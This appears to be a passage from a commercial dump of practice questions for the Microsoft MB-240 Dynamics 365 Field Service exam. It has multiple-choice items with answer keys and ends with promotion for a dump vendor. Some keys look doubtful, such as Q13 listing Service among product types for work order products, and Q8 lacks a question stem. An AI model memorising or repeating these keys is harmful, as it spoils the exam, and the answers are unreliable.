You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to automatically
generate work orders based on agreements, and send invoices on a recurring basis by customer.
Solution: You implement the following configuration changes. 1) Create Agreement 2) Define Booking Setup 3) Set
Booking Recurrence 4) Create Invoice Setup 5) Define Invoice Recurrence
Does this meet the goal?
A. Yes
B. No
Correct Answer: A

QUESTION 6
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You are a Dynamics 365 for Field Service system administrator.
You are configuring a new instance of Dynamics 365 for Field Service. The organization needs to accurately capture the
cost of work order bookings.
Solution: You implement the following configuration changes:
1) Create Resource Pay Types for regular, holiday, overtime, travel, and breaks.
2) Assign an Hourly Markup percentage to each Resource Pay Type.
3) Assign Resource Pay Types to the applicable Pay Type.
4) Create Business Closures.
5) Create Bookable Resources with Hourly Rates.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 7
You are a Dynamics 365 Field Service dispatcher using the Scheduling Assistant function.
One of your customers, Adventure Works, does not want one of your resources to be scheduled to work orders going
forward. The resource must be able to be scheduled for other accounts.
How can you achieve this goal?
A. Create a Requirement Resource Preference record for the resource. Set the Preference Type to Restricted and
Cascade to No.
B. Create a Requirement Resource Preference record for the resource. Set the Preference Type to Restricted and
Account to Adventure Works.
C. Select Load the Default Filters on the Schedule Board.
D. Create a Requirement Resource Preference record for the resource.
Correct Answer: B

QUESTION 8
You work for a recycling company that provides customers with large compactor units to collect their recyclable
materials. The compactor units are comprised of two separate components: a container to collect the recyclable
materials and a
separate component that compacts the recyclable materials to make them easier to transport.
These containers are expensive, and the components tend to break down frequently, requiring ongoing maintenance
and repairs.
You need to easily track the containers that your company has at each client location and maintain a service history for
each of the sub-components.
A. Configure the customer asset records hierarchically, and maintain service history at the sub-component level.
B. Configure the customer inventory records individually, in order to maintain the service history at the parent
component level.
C. Configure the customer inventory records in a hierarchy, and maintain service history at the sub-component level.
D. Configure the customer asset records hierarchically, and maintain service history at the service account level.
Correct Answer: A
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/configure-set-up-customer-assets

QUESTION 9
The company has hired a new manager to set up and configure Field Service to automatically schedule work orders to
the most appropriate resource scheduling.
The manager is unable to optimize requirements and bookings related to work orders.
Which three settings are required? Each correct answer presents part of the solution.
A. Assign the Field Service-Administrator security role to the RSO user.
B. Add the RSO dispatcher role to a dispatcher.
C. Enable Resource Scheduling Optimization.
D. Set Connect to Maps as Yes.
E. Add RSO to the profile Field Service-Administrator.
Correct Answer: CDE
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/rso-configuration

QUESTION 10
Contoso, Ltd has just acquired a new company in order to increase the services it offers to its customers. Contoso, Ltd.
wants to ensure that it is able to track all of the stages in its service management workflow, including the services
offered
by the new service company.
You need to configure Dynamics 365 CE for Field Services to ensure that all of the necessary status values are
configured correctly to track your company\\’s unique business process.
Which action must you perform?
A. Edit the existing system status field values.
B. Create the necessary sub-status values.
C. Create the necessary system status values.
D. Create the necessary service task values.
Correct Answer: B

QUESTION 11
You are a Field Service resource manager for Contoso, Ltd. and are setting up characteristics for field technicians who
are responsible for repairs on rental equipment.
Work performed on certain types of backhones, trenchers, and excavating equipment requires different attributes to be
identified for proper work order assignment and scheduling.
Which two characteristics are valid? Each correct answer presents a complete solution.
A. Certification
B. Approval Status
C. Skill
D. Rating Value
Correct Answer: AC
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/set-up-bookable-resources#set-up-field-technician-resources

QUESTION 12
You are in charge of setting up the new Dynamics 365 CE Field Services environment for your company.
As the field Service Administrator, you need to configure the field service settings for work orders for your environment.
Which three work order settings can be configured by the Field Service Administrator? Each correct answer presents a
complete solution.
A. Default work order type
B. Auto generate resource requirement for work order
C. Work order invoice creation
D. Default work order completed status
E. Auto generate work order for agreement booking
Correct Answer: ABD

QUESTION 13
You are entering products and services into Dynamics 365 CE Field Services.
You need to ensure that your field technicians can use the products when completing work orders.
Which two field service product types should you configure to allow your technicians to add work order products? Each
correct answer presents a complete solution.
A. Product
B. Non Inventory
C. Inventory
D. Service
Correct Answer: CD
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/field-service/create-product-or-service

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Microsoft Certifications	lead4pass MB-240 dumps pdf	lead4pass MB-240 youtube	Microsoft Dynamics 365 Field Service	https://www.lead4pass.com/mb-240.html	59 Q&A

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Summarize:

It’s not easy to pass the Microsoft MB-240 exam, but with accurate learning materials and proper practice, you can crack the exam with excellent results. https://www.lead4pass.com/mb-240.html provides you with the most relevant learning materials that you can use to help you prepare.